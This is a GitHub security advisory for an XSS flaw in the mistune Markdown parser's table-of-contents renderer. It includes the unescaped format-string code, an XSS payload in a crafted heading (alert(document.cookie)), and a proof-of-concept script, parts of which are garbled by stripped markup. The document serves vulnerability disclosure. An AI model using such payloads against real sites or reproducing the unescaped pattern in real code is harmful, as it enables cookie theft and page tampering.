GitHub Advisoryadvisory · PyPI
GHSA-6269-cqxg-mhhv Mistune TOC Anchor Injection XSS
MEDIUM
Official page ↗
- Aliases
- CVE-2026-44898
- Ecosystem
- PyPI
- Packages
- mistune
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-05-14
Affected packages
• PyPI mistune: >= 3.2.0, < 3.2.1 → fixed in 3.2.1
Description
Summary
`render_toc_ul()` builds a `` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href="#"`) and the `text` value (used as the visible link label) are inserted into `` tags via a plain Python format string — with no HTML escaping applied to either value.
When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href="#..."` attribute context, injecting arbitrary HTML tags including `` blocks directly into the rendered TOC.
This vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.
Details
File: `src/mistune/toc.py`
```python
def render_toc_ul(toc):
...
for level, k, text in toc:
# k = heading id (used verbatim as href fragment)
# text = heading text (used verbatim as link label)
item = '{}'.format(k, text)
# Neither k nor text is passed through escape() at any point
```
The `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `"` or `>`, the `href` attribute is broken. If `text` contains `
Introduction
Installation
```
Step 2 — Enable the vulnerable `heading_id` callback
Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:
```python
def raw_id(token, index):
return token.get("text", "")
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
```
Step 3 — Craft the exploit payload
Construct a heading whose text terminates the `href="#..."` attribute and injects a `` block followed by a dangling `` that `render_toc_ul` appends:
```
x">alert(document.cookie)alert(document.cookie)alert(document.cookie)`:
```python
'{}'.format(k, text)
becomes:
'alert(document.cookie)...'
```
Actual output:
```html
alert(document.cookie)x"><script>alert(document.cookie)</script><a href="
```
The `` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune's inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
```python
!/usr/bin/env python3
"""H4: render_toc_ul() puts raw heading ID into without escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook, render_toc_ul
def raw_id(token, index):
return token.get("text", "")
--- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_file = "baseline_h4.md"
bl_src = "# Introduction\n\n## Installation\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{bl_file}]\n{bl_src}")
print("[toc output — safe]")
print(bl_out)
--- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
ex_file = "exploit_h4.md"
ex_src = '## x">alert(document.cookie)
{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}
Input — {h.escape(filename)}
{h.escape(src)}
TOC output — HTML source
{h.escape(out)}
↓ rendered in browser
{out}
"""
page = f"""
H4 — TOC XSS{CSS}
H4 — TOC render_toc_ul() XSS
render_toc_ul() in toc.py uses '<a href="#{{}}">{{}}</a>'.format(k, text) —
neither k (the heading ID) nor text is escaped before insertion.
{case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)}
{case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)}
"""
out_path = os.path.join(os.getcwd(), "report_h4.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")
```
Example usage:
```bash
python poc.py
```
Once you run the script, open `report_h4.html` in the browser and observe the behaviour.
Impact
| Dimension | Assessment |
|------------------|-----------|
| Confidentiality | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin |
| Integrity | Arbitrary DOM manipulation, phishing form injection, forced redirects |
| Availability | Page crash or freeze available as secondary effect |
Risk context: TOC generation is a ren…
Related
Alias · CVE (1)
- CVE-2026-44898 Mistune is a Python Markdown parser with renderers and plugins. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness